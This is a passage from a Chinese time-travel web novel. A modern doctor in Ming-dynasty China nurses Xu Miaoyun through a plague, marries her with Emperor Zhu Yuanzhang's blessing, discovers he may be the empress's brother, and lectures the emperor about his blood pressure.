最前面的是个老汉,颤巍巍举起一个粗陶碗:“马神医,这是俺们凑钱买的参汤……”
“退后!“马淳厉声喝道,“肺鼠疫会通过飞沫传染!“
人群齐刷刷后退三步,却没人离开。
一个扎着羊角辫的小女孩从大人腿缝里钻出来,把一朵蔫巴巴的野花放在石灰线上。
“徐姐姐给我娘喂过药。“她吸溜着鼻涕,“娘说好人不会死。“
马淳喉结滚动了一下。
他转身从药箱取出酒精,远远地喷洒在那些物件上:“东西留下,人都回去。“
百姓们你看我我看你,齐刷刷跪下了。
“求菩萨保佑徐姑娘……““
徐小姐是活菩萨啊……“
“老天爷开开眼……“
此起彼伏的祈祷声惊醒了昏睡中的徐妙云。
她艰难地撑起身子:“外面……“
“躺好!“马淳一个箭步冲回来,却见她怔怔望着帘子。
外头传来苍凉的民谣,有个老妇人在唱《观音赞》。
徐妙云的手指慢慢蜷缩起来,抓住马淳的衣角:“他们……“
“都是你救过的人。“马淳把她按回床上,“现在轮到我救你。“
药棚外的人越聚越多。
有人搬来缺腿的供桌,摆上粗瓷香炉;有人用木炭在布条上写“徐姑娘平安“,系在树枝上;几个孩童把舍不得吃的麦芽糖堆成小山。
晌午时分,李景隆带着兵丁来维持秩序,却被眼前的场景震住了。
上千人安静地围坐在药棚百步开外,像一片沉默的森林。
李景隆望向药棚。
透过晃动的布帘,隐约看见马淳正在给徐妙云喂药。
夕阳西沉时,蒋瓛带来了圣旨。
锦衣卫们抬着鎏金香案穿过人群,百姓们自发让出一条路。
“陛下口谕。“蒋瓛站在药棚外高声道,“徐氏妙云蕙质兰心,赐玉如意一对,祈早日康复。“
马淳掀帘而出,眼底布满血丝:“代我们谢恩。“
蒋瓛压低声音:“皇上问要不要送进宫调养?“
“不必。“马淳看向那些翘首以盼的百姓,“她在这里才能好。“
夜幕降临,有人点燃了自制的孔明灯,灯面上歪歪扭扭写着“徐“字。
那盏灯颤巍巍升上夜空,紧接着是第二盏、第三盏……
徐妙云在高热中辗转反侧。
朦胧间听见此起彼伏的呼喊:
“徐姑娘挺住!“
“活菩萨长命百岁!“
她抓住马淳的手:“我想看看他们。“
“胡闹!“马淳把听诊器按在她背上,“肺里还有啰音。“
徐妙云却出奇地固执。
她撑着床沿坐起来,“就一眼。“
马淳咬了咬牙,扯下药棚的布帘。
月光如水银泻地。
徐妙云看见漫山遍野的火把,像一条盘踞在山谷里的火龙。
每簇火光旁都站着人影,有人举着破铜锣,有人抱着熟睡的孩子。
不知谁先喊了声“徐姑娘“,呼喊声顿时响彻云霄。
有个汉子把铁锅敲得震天响:“俺婆娘是您救的!“
徐妙云的眼泪砸在手背上。
她试图抬手回应,却被马淳牢牢按住:“别招风。“
“替我……“她剧烈咳嗽起来,苍白的脸上泛起潮红,“说谢谢……“
马淳转身面对人群。
他深吸一口气,深深鞠了一躬。
火龙安静下来。
“她说——“马淳的声音在夜风中传得很远,“等病好了,教大伙认字。“
人群中爆发出欢呼。
卖油郎王二扯着破锣嗓子喊:“都听见没?徐姑娘要当女先生!“
后半夜下起小雨。
马淳给徐妙云换上新熬的药,发现她呼吸平稳了许多。
“他们……“徐妙云在睡梦中呢喃,“还在吗……“
马淳望向窗外。
雨幕中仍有零星光点执着地亮着,像散落在人间的星辰。
他轻轻擦掉她额头的汗珠:“在,一直都在。“
天边泛起鱼肚白时,徐妙云的体温终于降了下来。
马淳瘫坐在药箱旁,听见外面传来窸窸窣窣的动静。
掀开帘子,发现门槛上堆满了东西:用荷叶包着的山枣、编成蚱蜢的草茎、甚至还有半块舍不得吃的麦饼。最上面是张皱巴巴的纸,画着两个手拉手的小人。
马淳把纸片塞进怀里。
刚转身就看见徐妙云正望着他,嘴角挂着浅浅的笑。
“醒了?“他声音沙哑得像磨砂纸。
徐妙云点点头,手指轻轻碰了碰草戒指:“梦见你娶我了。“
……
第63章 我徐妙云这辈子非你不嫁
疫区第十日的晨光格外清透。
虽然仅仅过去了十天,但对于马淳和徐妙云来讲,不亚于一生。
两个人经历了这么一场‘战争’之后,再也没了之前的生涩。
马淳站在临时搭建的瞭望台上,望着远处新挖的隔离沟。
他深吸一口气,空气中再没有那股挥之不去的腐臭味。
“马大夫!”张大夫小跑着过来,手里捧着厚厚的册子,“最后一批轻症患者今早都退了热,按您吩咐的,让他们再观察三日。”
马淳接过册子翻看。
“药材还够用吗?”
“足够。”张大夫笑道,“太医院送来的黄连还剩两大箱,富商们捐的石灰也堆了半个仓库。”
马淳合上册子,转身走向中央药棚。
徐妙云正在整理药箱,她在前两天病才刚好,马淳让她休息,她却坚持要起来。
“都清点好了?”马淳接过她手中的纱布。
徐妙云抬头,阳光透过棚顶的缝隙落在她脸上,衬得那双杏眼格外明亮,完全没有之前的病气。
“三十七个药箱全部分装完毕,按你说的加了甘草调味。”
她的声音还有些沙哑,那是肺鼠疫留下的痕迹。
马淳不自觉伸手,指尖刚要触到她的脸颊又缩了回来。
徐妙云却一把抓住他的手腕。“躲什么?”
她将他的手按在自己脸上,“活人都怕,还当什么大夫?”
马淳看着近在咫尺的佳人,眼眶有泪水差点夺眶而出。
得了肺鼠疫还能救回来,这是老天爷赏赐给自己最好的礼物。
“看傻了?”徐妙云轻笑。
马淳别过脸去,耳根发烫,“我去看看重症区。”
“早查过了。”徐妙云从药箱底层取出个布包,“王老汉今早能自己喝粥了,他孙女还给你编了条腰带。”
布包里是条五色丝绦编的腰带,针脚歪歪扭扭,却洗得干干净净。
马淳摩挲着粗糙的纹路,想起那个总躲在爷爷身后的小丫头。
马淳低声道:“你该回去看看。”
“回去做什么?”徐妙云将药箱重重合上,“等着被许给哪家勋贵?”
马淳沉默。
前日徐府管家来时,他听见那人说“大小姐这般抛头露面,往后怎么议亲”。
他承认自己小瞧了这个世界的门第成见。
自己只不过是一个民间的小医生,而徐妙云是大明顶级勋贵家的千金大小姐。
嫁给了自己的话,将会对整个勋贵家族的门阀世界观造成巨大的冲击。
所以估计为了保住门风,徐达应该是不可能同意徐妙云嫁给自己的。
正瞎捉摸,徐妙云忽然抓住他的衣领。
她的力气大得惊人,马淳不得不弯腰与她平视。
“马明湛。”她一字一顿道,“我徐妙云今生非你不嫁。你若敢说半个不字,我现在就跳秦淮河。”
马淳望着她通红的耳尖,忽然笑出声来。“好。”
“好什么好!”徐妙云气得跺脚,“我在说正经事!”
马淳从怀中掏出个油纸包。“昨儿半夜李景隆送来的松子糖。”
徐妙云瞪着他,嘴角却不受控制地扬起。
她抢过糖包,剥开一粒塞进嘴里,甜香顿时在唇齿间化开。
“甜吗?”马淳问。
徐妙云将另一粒糖塞进他嘴里。“自己尝。”
甜味在舌尖蔓延的瞬间,两个人也不再去说那些丧气话。
但可以看得出来刚才徐妙云粗鲁了一下,现在即便恢复了一点严肃,耳朵尖还是红的。
或许自己也小瞧了勋贵家的千金小姐,突破束缚的勇气。
马淳笑着吃糖,只觉得嘴里的糖,更甜了。
不经意地一转眼,透过棚帘缝隙,他看见一队锦衣卫正在拆除隔离栅栏。
百姓们三三两两聚在远处,有人对着药棚方向作揖,有人偷偷抹眼泪。
这十天,或许是这些平凡的人一生当中,会经历过的最惊心动魄的时刻。
这十天,或许每一天他们都要跟死神斗争好几回。
久违的新鲜的空气。
久违的正常人生活,即将到来。
“该走了。”马淳轻声道。
徐妙云背上药箱,突然转身抱住他。
她的发丝蹭过他的下巴,带着淡淡的药香。
“明湛。”她闷声道,“我们回医馆吧,我宁愿一生都不出小青村。”
马淳理解她。
毕竟她也差点死在这里。
马淳抚过她瘦削的肩背。
那里曾经被厚重的宫装束缚,如今只余布衣的粗糙触感。“好。”
他们走出药棚时,阳光正好。
远处的城门大开,一队官兵正在张贴告示。
马淳眯起眼,看清上面“瘟疫已除”四个大字。
【叮!拯救一场瘟疫,获得积分10000!】
现在,他居然对这些积分都没感觉。
医者这两个字,他现在明白得更深。
这就够了。
徐妙云忽然小跑几步,从地上捡起什么。“你看!”
她掌心里躺着一株刚冒头的蒲公英,嫩黄的花朵只有指甲盖大小。
“春天来了。”他轻声道。
徐妙云将小花别在他衣襟上,“回家吧。”
他们穿过渐渐散去的人群。
刚走上官道,远处传来马蹄声。
李景隆带着徐妙锦飞驰而来,小姑娘的辫子在风中飞扬。
“大姐!”徐妙锦不等马停稳就跳下来,扑进徐妙云怀里,“父亲去给你求指婚了,皇上答应了!”
徐妙云愣住。“什么?”
李景隆翻身下马,意味深长地看了马淳一眼,“皇上今早夸徐家女儿有胆识,也夸马大夫的仁心医术,陛下说,知道马大夫淡泊名利,赐其他的都不好,就赐你们完婚。”
闻言二人都愣了。
徐妙锦掏出一卷红纸。
“喏,姐,御赐婚书,父亲按的手印!”
徐妙云展开红纸的手微微发抖。
马淳凑过去,看见上面工整写着“马淳”与“徐妙云”并排的名字。
“马大夫。”李景隆拱手,“往后可要改口了,魏国公的女婿,顶得上一个三品官帽。”
马淳正要说话,忽听身后传来整齐的喊声:“谢马神医!谢徐姑娘!”
他们回头望去。
数百百姓跪在官道两侧,有人捧着鸡蛋,有人挎着新摘的野菜。
最前面是那个曾经闹事的壮汉,他抱着痊愈的老娘,额头磕得通红。
徐妙云的眼眶湿润了。
她握紧马淳的手,低声道:“值了。”
“我们回去成婚!”马淳道。
徐妙云偏头看向他,俏脸飞霞,钻进了他怀里:“好!”
……
第64章 马淳、徐妙云成婚!
入夜,魏国公府。
徐妙云坐在铜镜前,任由侍女为她梳理长发。
镜中的女子眉眼如画,却只穿着一身素净的嫁衣,连金钗都未戴一支。
徐妙锦推门进来时,手里捧着一个锦盒。“大姐,这是母亲留下的凤钗,你明日戴上吧。”
徐妙云摇头,将锦盒轻轻合上,“不必了,明日我只想简简单单地出嫁。”
“可你是魏国公的长女啊!”徐妙锦急得直跺脚,“哪有国公家的小姐出嫁连件像样的首饰都没有?这要是传出去,旁人还以为父亲苛待你呢。”
徐妙云拉过妹妹的手,让她坐在自己身边。“傻丫头,这正是我想要的。马淳和我商量好了,婚礼就在小青村的医馆办,只请几个相熟的村民。”
徐妙锦瞪大眼睛,“这也太寒酸了!父亲能答应?”
“父亲巴不得如此。”徐妙云轻笑一声,“你可知为何父亲这些年处处低调,连兵权都主动交还?”
徐妙锦摇头。
“自古开国功臣,有几个能善终?”徐妙云压低声音,“父亲能保全徐家,靠的就是这份谨慎。如今我嫁给一个民间大夫,反而能让皇上放心。”
徐妙锦若有所思。“所以大姐是故意要这么简朴的婚礼?”
徐妙云点头。“也不全是!明湛说得对,我们若大张旗鼓,只会让小青村的百姓觉得高不可攀。往后我们还怎么给人看病?”
“可这也太委屈你了。”徐妙锦嘟囔道。
徐妙云忽然笑了,眼中闪着光。“委屈?能嫁给心仪之人,做自己喜欢的事,你不知道我有多开心。这世上多少女子连自己的婚事都做不了主,我却能和你姐夫一起行医济世,这是多大的福分。”
徐妙锦似懂非懂地点点头。
“等你长大了就明白了。”徐妙云捏了捏妹妹的脸,“去睡吧,明日还要早起呢。”
翌日清晨,一顶青布小轿悄无声息地出了魏国公府的大门。
没有吹打,没有仪仗,只有徐达一家,连唢呐队伍都是出了城才开始吹吹打打。
而此时,小青村的石板路上已经热闹起来。
几个半大孩子挎着竹篮,挨家挨户分发红纸包的喜糖。
村口,里正正往老槐树上挂红绸,粗糙的手指将布结系得格外端正。
“王伯,新娘子到哪儿了?”李二狗扛着梯子过来,帮着挂灯笼。
里正眯眼望向官道:“刚过十里亭。”
医馆门前,马淳一袭绛红色圆领袍,腰间只系了条素色腰带。
他正和村民一起搬桌椅,忽然听见远处传来唢呐声。
手指无意识地攥紧了衣角,又急忙松开,生怕揉皱了新衣。
官道尽头,徐妙云一袭茜色嫁衣,发间只簪了支木雕海棠。
她扶着父亲的手臂走来,徐达穿着常服,腰间玉带换成了普通革带,倒像是寻常乡绅送女出嫁。
“来了来了!”孩子们一窝蜂涌上去。
马淳快步迎到村口,正要行礼,被徐达一把托住:“今日不论官职。”
老将军眼角堆起笑纹,将女儿的手递过去,“交给你了。”
两只手相触的瞬间,徐妙云指尖微颤。
两人相视一笑,默契地牵起手。
“新娘子来啦!”村里的王婶高声喊道,十几个村民立刻围了上来。
他们手里捧着自家种的瓜果,还有新蒸的馍馍,七嘴八舌地说着吉祥话。
马淳拱手道谢,徐妙云则接过孩子们递来的野花,别在衣襟上。
就在喜宴即将开席时,村口传来一阵马蹄声。
马淳抬头望去,只见几辆朴素的马车缓缓驶来,车帘掀起,露出一张熟悉的面孔。
徐妙云轻轻捏了捏马淳的手,低声道:“是陛下。”
马淳心头一跳。
他其实早有察觉,朱元璋他们身上的气场如此之强,不可能是普通人。
当时他就猜这些人非富即贵,当然最终确认还是在妻子徐妙云的提醒之下才知道。
不过或许是从小没有受过威权教育,所以对于皇帝之类,看到了只有激动,而没有太多恐惧。
朱元璋跳下马车,身后跟着朱标和马皇后。
皇长孙朱雄英蹦蹦跳跳地跑在最前面,手里还捧着一个红布包裹的盒子。
“小马大夫!”朱雄英欢快地喊道,“我们来喝喜酒啦!”
徐达一家人、马淳、徐妙云连忙迎上前去,刚要行礼,却被朱元璋一把扶住,“今日不论这些虚礼。”
老皇帝笑眯眯地说,“咱就是来讨杯喜酒喝。”
村民们好奇地围了上来。
里正搓着手问道:“马大夫,这几位是?”
马淳正要开口,朱元璋已经笑着答道:“老哥,我们是马大夫治好的病人,特地来道贺的。”
里正闻言顿时眉开眼笑:“原来是恩客!快请上座!”
马皇后牵着朱雄英的手,目光在简朴的喜宴上扫过。
没有奢华的装饰,没有繁复的礼仪,只有村民们真诚的笑脸和精心准备的菜肴。
她轻声对朱元璋说:“重八,这喜宴倒是别致。”
朱元璋点点头,眼中闪过一丝赞许。他看向马淳:“小马大夫,你这婚事办得实在,比宫里那些虚头巴脑的强多了。”
朱元璋他们一家既然会来婚礼现场,其实也做好被马淳知道身份的打算。
因为通过治疗瘟疫这些事,朱元璋已经打心眼里觉得,马淳是个不可多得的人才。
知道自己的身份,也更好的知道马淳到底是嘴上说着甘守清贫,还是满嘴的虚情假意。
马淳心头一热,躬身道:“老先生过奖了。乡野粗陋,还望海涵。”
朱标笑着插话:“马大夫谦虚了。这般真情实意,才是婚宴该有的样子。”
正说着,村口又传来一阵喧哗。
只见李景隆父子骑着马赶来,身后还跟着几个家仆,抬着几个大箱子。
“马兄!徐姑娘!”李景隆翻身下马,拱手笑道,“家父特意从京城赶来,为二位贺喜!”
曹国公李文忠大步走来,拍了拍马淳的肩膀:“好小子!把我侄女娶走了,可得好好待她!”
徐妙云脸颊微红,向李文忠行礼:“叔父说笑了。”
朱元璋看到李文忠,眼中闪过一丝笑意,却并未点破身份。
李文忠正要行礼,被朱元璋一个眼神制止……
第65章夫君,你可能是马皇后的弟弟
村民们热情地将新来的客人迎入席间。
里正亲自为朱元璋斟酒:“这位老哥,尝尝我们村的米酒,马大夫最爱喝这个!”
朱元璋接过酒碗,一饮而尽,大笑道:“好酒!比宫……比城里那些陈酿还够味!”
喜宴渐渐热闹起来。
村里的孩子们围着朱雄英玩耍,马皇后和徐妙云的母亲坐在一处,低声说着家常。
朱元璋和李文忠、朱标徐达等人推杯换盏,谈笑风生。
酒过三巡,里正忽然站起身,敲了敲碗:“诸位贵客,老汉我有几句话要说。”
众人安静下来。
里正清了清嗓子,眼中泛着泪光:“马大夫来我们村不过一年,救了多少人性命。今日他大婚,我们全村人都把他当自家孩子看待。”
他转向马淳和徐妙云:“马大夫,徐姑娘,老汉我没什么贵重礼物,就代表全村人,祝你们白头偕老,早生贵子!”
村民们齐声喝彩,纷纷举杯。
马淳眼眶微热,起身还礼:“多谢各位乡亲厚爱。”
朱元璋看着这一幕,若有所思。
他低声对朱标说:“标儿,看到了吗?这才是真正的民心。”
即便是在一场简单的婚宴上,朱元璋也没有放弃对朱标的教导。
朱标点头:“父皇说的是。马大夫以仁心待人,自然得人敬重。”
临别时,朱元璋将马淳叫到一旁,从怀中取出一块玉佩:“小马大夫,咱没什么好东西,这个就当贺礼了。”
马淳连忙推辞:“陛下,这太贵重了,我不能收。”
朱元璋硬塞到他手里:“拿着!咱看你顺眼。日后若有什么难处,拿着这个来皇宫找咱。”
马淳知道这是皇帝的承诺,心中感动,郑重收下:“多谢陛下厚爱。”
朱元璋点点头,他很满意马淳即便知道自己的身份,依旧能有这份从容淡定。
他压低声音道:“对了,你那降压药不错,回头再给咱配些。”
马淳忍俊不禁:“一定按时送到。”
……
送走最后一位宾客时,已是月上中天,医馆后院终于安静下来。
马淳轻轻揭开徐妙云的红盖头。
烛光下,她素净的嫁衣衬得肌肤如雪,发间那支木雕海棠更添几分清丽。
他喉结滚动了一下,手指无意识地攥紧了盖头边缘。
“看傻了?”徐妙云抿嘴一笑。
马淳俯身将她鬓边碎发别到耳后,他声音有些哑:“夫人今日真好看。”
徐妙云低头绞着衣角,耳尖泛红。
接着她啊的叫了一声,被拦腰抱起,她惊呼搂住马淳的脖子。
床帐落下时,洞房花烛夜!
翌日天刚蒙蒙亮,马淳就醒了。
他侧身看着枕边人,徐妙云睡颜恬静,他忍不住用指腹蹭了蹭她的唇瓣。
“嗯……”徐妙云迷迷糊糊抓住他作乱的手,睁眼时撞进丈夫专注的目光里。
她下意识往被子里缩了缩,又觉得这动作太孩子气,强作镇定道:“夫君起这么早?”
马淳没答话,只是将她散落的发丝拢到耳后。
昨夜初为人妇的青涩褪去,眉宇间多了几分妩媚。
“醒了?”徐妙云睁开眼,声音还带着睡意。
马淳收回手,笑道:“看你睡得香,没舍得叫醒你。”
徐妙云撑起身子,锦被滑落,露出白皙的肩头。
她慌忙拉高被子,耳尖泛红。
马淳看得心头一热,伸手将她揽入怀中。
“夫人害羞的样子真好看。”他在她耳边低语。
徐妙云轻捶他胸口:“油嘴滑舌。”
马淳握住她的手,正色道:“说真的,我这辈子从没想过能娶到你这样的女子。”
徐妙云抬眼看他:“什么样?”
“又美又有才学,还愿意跟着我过清贫日子。”马淳顿了顿,“在我家乡,像你这样的女子大多眼高于顶,张口闭口就是房子车子。”
徐妙云歪着头:“你家乡的女子都这么奇怪吗?”
马淳苦笑:“不是奇怪,是世道变了。女子们总把婚姻当买卖,恨不得把男人榨干。”
徐妙云噗嗤一笑:“那你可要小心了,我爹说了,嫁出去的女儿泼出去的水,以后我可就赖上你了。”
马淳捏捏她的鼻子:“求之不得。”
两人笑闹一阵,徐妙云起身梳妆。
她坐在铜镜前,乌黑的长发如瀑布般垂下。
马淳靠在床头,看着她纤细的手指在发间穿梭,心里满是暖意。
徐妙云拉开抽屉,就看到里面有一个锦袋,把里面的东西拿出来看了一下。
一倒出,发现是一块温润的白玉,玉佩上刻着“世昌”二字,做工精细,“这是皇后娘娘给的诊金?”
马淳不知道她为何这么问,笑道:“哪里,这是我爹留给我的遗物,我爹姓马袆世昌!”
徐妙云闻言手指一颤,玉佩差点掉落。
“怎么了?”马淳连忙扶住她的手。
徐妙云抬头,眼中满是震惊:“这玉佩……皇后娘娘也有一块。”
马淳一愣:“什么?”
“我在宫里伺候娘娘时见过。”徐妙云声音发紧,“娘娘说这是她父亲留下的,当年打制了两块,就是为了日后相认。”
屋内一时寂静。
马淳盯着玉佩,脑中闪过无数念头。
父亲临终前将玉佩交给他时,只说这是祖传之物,从未提过其他。
“你确定是一模一样的?”马淳沉声问。
徐妙云点头:“纹路、刻字,分毫不差。”
马淳深吸一口气,当年他穿越过来,从原主的脑海里得知的记忆是,父亲马世昌因杀人逃亡在外,的确说过托一个至交好友照顾同父异母的姐姐。
而姐姐的名字也叫马秀英。
当年父亲病重,为了给马淳谋个前途,才冒险从徽州大山里出来。
从池州上船一路顺长江东下,估计是在船上染上了瘟疫,这才刚到京城脚下,还没来得及寻找女儿,就客死他乡。
当时他只以为可能是同名同姓的人,当然刚重要的原因是,他熟知历史,知道朱元璋是个多疑猜忌之人,贸然以国舅的身份去认亲,说不定还没相认,就被朱元璋砍了。
所以他才落脚在小青村。
而今天从妻子徐妙云的嘴里得知,马皇后那里有一块一模一样的玉佩,顿时心里起了波澜……
第66章把皇帝训得跟三孙子一样!
不过对于这个国舅爷的身份,马淳却没多在意。
然而徐妙云却还在沉思。
“想什么呢?”他伸手揽住她的腰。
徐妙云将玉佩举到他眼前:“你当真不知道这玉佩的来历?”
马淳接过玉佩,父亲临终前给的,说是祖传之物。”他顿了顿,“不过现在想来,或许另有深意。”
徐妙云猛地坐直身子:“你可知皇后娘娘闺名?”
“马秀英。”马淳神色平静,“父亲确实提过有个同父异母的姐姐,早年托付给了好友。”
徐妙云倒吸一口凉气:“那你岂不是……”
“大明国舅?”马淳轻笑一声,将玉佩放回枕边,“即便证实了又如何?我如今有医馆,有夫人,日子过得挺好。”
徐妙云怔怔看着他。
寻常人若知道自己可能成为皇亲国戚,怕是早就欣喜若狂,可自家夫君竟如此淡然。
“你就不激动?”
马淳伸了个懒腰:“激动什么?父亲当年隐姓埋名,必然有他的道理。况且——”他转头看向妻子,“你觉得国舅爷的身份,会比现在更自在?”
徐妙云想起父亲徐达这些年的如履薄冰,若有所思。
“父亲常说,朝堂如虎穴,稍有不慎就会粉身碎骨。”她轻声道,“他这些年交还兵权、闭门谢客,就是怕惹祸上身。”
马淳点头:“岳父大人明智。咱们现在这样多好,悬壶济世,逍遥自在。”
徐妙云眼睛亮起来,扑进他怀里:“我就喜欢你这份通透!”
马淳顺势将她压下,手指划过她细腻的脖颈。“既然夫人夸我,总得给点奖励。”
徐妙云红着脸推他:“天都亮了……”
“新婚燕尔,谁管天亮不亮。”马淳低头吻住她的唇。
……
日上三竿时,院外传来王婶的喊声:“马大夫,有病人等着呢!”
徐妙云慌忙推开丈夫,整理凌乱的衣襟。“都怪你!”
马淳笑着系好腰带:“怕什么,咱们又没偷没抢。”
他推开窗应道:“就来!”
徐妙云梳妆时,发现脖颈上的红痕,气得直跺脚。
马淳从背后抱住她,在她耳边低语:“晚上继续。”
“你!”徐妙云羞恼地踩他一脚,却被他笑着躲开。
医馆前院已经等了五六个病人。
马淳把脉开方,徐妙云抓药包扎,两人配合默契。
晌午时分,最后一个病人刚走,李景隆就骑马而来。
“马兄,新婚第二天就坐堂,真是医者仁心啊。”
马淳洗净手:“李兄有事?”
李景隆从怀中掏出一卷文书:“太医院聘书,请你去讲学。”
徐妙云擦着手走过来:“这是好事。”
马淳翻开看了看,摇头:“替我谢过院使大人,我更想留在村里。”
李景隆似乎早有预料,笑道:“每月只去两次,不耽误你接诊。”
马淳还在犹豫,徐妙云轻声道:“去吧,把治瘟疫的经验教给更多人。”
“那就恭敬不如从命了。”马淳收起聘书,“李兄留下用饭?”
李景隆摆手:“不了,还要去军营。”
他翻身上马,忽然压低声音,“对了,昨日婚宴上那位老先生……你知道了?”
马淳面不改色:“嗯。”
“果然瞒不过你。”李景隆意味深长地笑了笑,“陛下今早还提起你,说你有大才却甘于平淡,难得。”
送走李景隆,徐妙云若有所思:“陛下似乎很欣赏你。”
马淳盛了碗汤递给她:“欣赏归欣赏,咱们过自己的日子就好。”
傍晚时分,夫妻俩坐在院里整理药材。
徐妙云忽然问:“若是皇后娘娘问起玉佩,你当如何?”
马淳将晒干的当归收进药屉:“顺其自然。该认的时候自然要认。”
徐妙云点头:“我听你的。”
……
翌日,一大早。
马淳正在院子里晾晒药材,抬头看见朱元璋一行人已经站在医馆门口。
朱元璋今日穿着寻常布衣,身后跟着二虎和蒋瓛。
刘三吾捋着山羊胡子东张西望,朱标则安静地站在父亲身侧。
“陛下来得真早。”马淳放下药筛,在围裙上擦了擦手,“可是来复诊的?”
朱元璋大笑:“小马大夫啊,咱这血压该复查了。”
刘三吾突然插话:“马大夫,听闻你昨日大婚,怎么不见新娘子?”
徐妙云端着茶盘从后院出来,向众人行礼。
她今日穿着素色襦裙,发间只簪一支木钗,却掩不住大家闺秀的气度。
朱元璋接过茶盏,意味深长道:“徐家丫头,嫁过来可还习惯?”
“回陛下,民妇很喜欢这里。”徐妙云声音清亮,目光坦然。
朱元璋负手而立,目光如炬地盯着马淳:“马大夫,如今你既知朕的身份,还能这般泰然处之?”
马淳正整理着血压计,头也不抬道:“在医者眼里,病人就是病人。陛下血管里的血不会因身份变金贵,该堵还是会堵。”
说着把袖带往朱元璋胳膊上一套,“抬手。”
二虎倒吸凉气,这话说的太也直接了。
朱标却忍不住轻笑。
刘三吾气得山羊胡直颤:“大逆不道!陛下龙体岂可与庶民同论!”
“刘夫子,《黄帝内经》可说过帝王脉象与常人不同?”马淳怼完就充气,袖带瞬间勒紧朱元璋手臂。
皇帝疼得龇牙,却见马淳突然沉了脸:“高压170!陛下这几日是不是又熬夜批奏折?”
朱元璋心虚地摸鼻子:“国事繁忙……”
“繁忙到连命都不要?”马淳冷着脸,就像教训一个多次不听医嘱的普通病人,“跟您说过多少次?肝火旺不能动怒,血压高必须早睡!”
他指着朱标,“太子殿下都二十多岁的人了,您还当尿布娃娃护着?”
医馆内死寂。
刘三吾面如土色,连朱标都觉得这话有点重了。
谁知朱元璋突然大笑:“标儿你听听!满朝文武就这小大夫敢说真话!”
他揉着发麻的胳膊叹道,“可奏折堆成山,咱……咱实在……”
朱元璋刚支支吾吾回答完熬夜的事,马淳的医嘱就劈头盖脸砸下来:“陛下,您就算铁打的身子,一个人能做多少事?跟您说过要给太子历练机会,别把自己熬干了!”
马淳说着抓过朱标手腕一搭脉,“脉象沉稳有力,正是年富力强的时候,陛下您完全可将三成国事分给太子!”
朱标眼眶微热。
刘三吾气得胡子直翘。
徐妙云却站在药柜边抿嘴轻笑,眼里闪着骄傲的光——她就爱丈夫这份连皇帝都敢训的医者傲骨……
第67章方便面把朱元璋吃服了!
朱元璋怔了怔,突然拍桌:“好!明日开始,刑部、工部的折子都归你!”转头对马淳道,“小大夫,你这脾气对咱胃口!”
马淳却把降压药重重搁在桌上:“先保证每日睡足三个时辰再说!再让臣发现您偷摸熬夜……”他突然掏出针管,“臣就学对蒋指挥使那样,给您也来一针!”
朱元璋想起蒋瓛挨针时的窘态,笑得直咳嗽。
蒋瓛却老脸通红:“小马大夫,咱们这些日子相处的不错,你提我那事干啥?”
刘三吾却跺脚:“成何体统!陛下,此等狂徒……”
“刘卿啊,”朱元璋眯起眼,“你若有他一半敢谏,去年黄河水患的折子就不会拖到决堤才报。”
“徐丫头!”朱元璋突然扭头,“你也不管管你男人?”
被点名的徐妙云不慌不忙福了一礼:“陛下,在医者眼里只想治好病人。若大夫们都恭维您……”她抬眼直视朱元璋,“您的身子还能要吗?”
“哈哈哈哈!”朱元璋突然拍腿大笑,震得药柜上的瓷瓶叮当响,“对对对!要是大夫都拍马屁,咱都得被他们治死!”
马淳趁机把降压药重重搁在桌上:“知道就好!这瓶药丸必须按时吃,再让我发现您……”
“停停停!”朱元璋举手投降,“标儿你听见没?这小两口一个比一个凶!”
转头却对徐妙云竖起大拇指,“丫头有胆色,配得上小马大夫。”
徐妙云抿唇一笑,悄悄勾住丈夫的手指。
马淳反手握住她,继续板着脸对朱元璋道:“陛下别打岔,说正事。从今晚开始,您必须……”
“睡足三个时辰!”朱元璋抢答,无奈地看向朱标,“得,又来个管着咱的。”
……
日头渐渐爬高,医馆里的谈话声也热络起来。
朱元璋坐在诊桌旁,手指轻轻敲着桌面,忽然想起什么似的抬头。
“小马大夫,咱听你岳父说,你这儿有种面食甚是美味?”朱元璋眼中闪过一丝期待,“今日可否让咱也尝尝?”
马淳愣了一下,没想到皇帝会突然提起这个。
他转头看向徐妙云,两人相视一笑。
“陛下稍等,臣这就去准备。”
朱元璋摆摆手:“不急不急,咱就是随口一提。”
马淳已经起身往后院走去,徐妙云紧随其后。
朱标看着父亲难得露出这般期待的神色,不禁莞尔。
厨房里,马淳从柜子里取出几包方便面。
这些包装已经被系统改成了油纸包裹的朴素模样,看起来就像普通的面饼。
“要泡几包?”徐妙云小声问。
马淳数了数人数:“陛下、太子、刘学士、蒋指挥使,再加上我们俩,六包应该够了。”
徐妙云已经开始烧水,动作麻利地往灶里添柴。
马淳看着她熟练的样子,忍不住道:“没想到魏国公家的大小姐,现在连烧火都这么在行。”
“少贫嘴。”徐妙云嗔怪地瞪他一眼,“快把碗摆好。”
前院里,刘三吾正摇着扇子,一脸不屑:“乡野粗食,怎能入陛下龙口?老臣以为还是回宫用膳为妥。”
朱元璋却不以为然:“刘爱卿此言差矣。天德那老小子嘴刁得很,能让他夸赞的吃食,必定不凡。”
正说着,一阵浓郁的香气从后院飘来。
那香味中带着鸡汤的鲜美,还有股说不出的诱人气息。
刘三吾的鼻子不自觉地抽动了两下,肚子也跟着咕噜一声。
蒋瓛忍不住伸长脖子往后院张望:“这味道……”
很快,马淳和徐妙云每人手上都端着一个托盘出来,上面摆着六个大碗。
每碗里都盛着金黄色的面条,汤色清亮,上面飘着几粒翠绿的葱花。
热气腾腾中,那香味越发勾人。
“请用。”马淳将碗一一放在众人面前。
朱元璋迫不及待地拿起筷子,先喝了一口汤。
那鲜美的滋味在舌尖炸开,让他不由自主地瞪大了眼睛。
“这汤……”朱元璋又夹起一筷子面条送入口中。
面条劲道爽滑,吸饱了汤汁的鲜美,比他吃过的任何面食都要美味。
朱标也尝了一口,惊讶地抬头:“马大夫,这面……”
“西域传来的做法。”马淳笑着解释,“用特殊方法将面条烘干,可以保存很久,吃时只需热水冲泡即可。”
刘三吾本来还端着架子,可那香味实在诱人。
他小心翼翼地尝了一口,顿时眼睛一亮,顾不上说话,埋头大吃起来。
蒋瓛更是夸张,呼噜呼噜几口就把一碗面吃了个精光,连汤都没剩下。
他意犹未尽地舔舔嘴唇:“马大夫,还有吗?”
朱元璋已经吃完了自己那碗,正用筷子刮着碗底的汤汁:“妙啊!这面比御厨做的还要鲜美!”
马淳和徐妙云相视一笑。
徐妙云轻声道:“陛下喜欢就好。”
“这汤头是怎么熬的?”朱元璋好奇地问,“咱在宫里也喝过不少好汤,可都没这个鲜。”
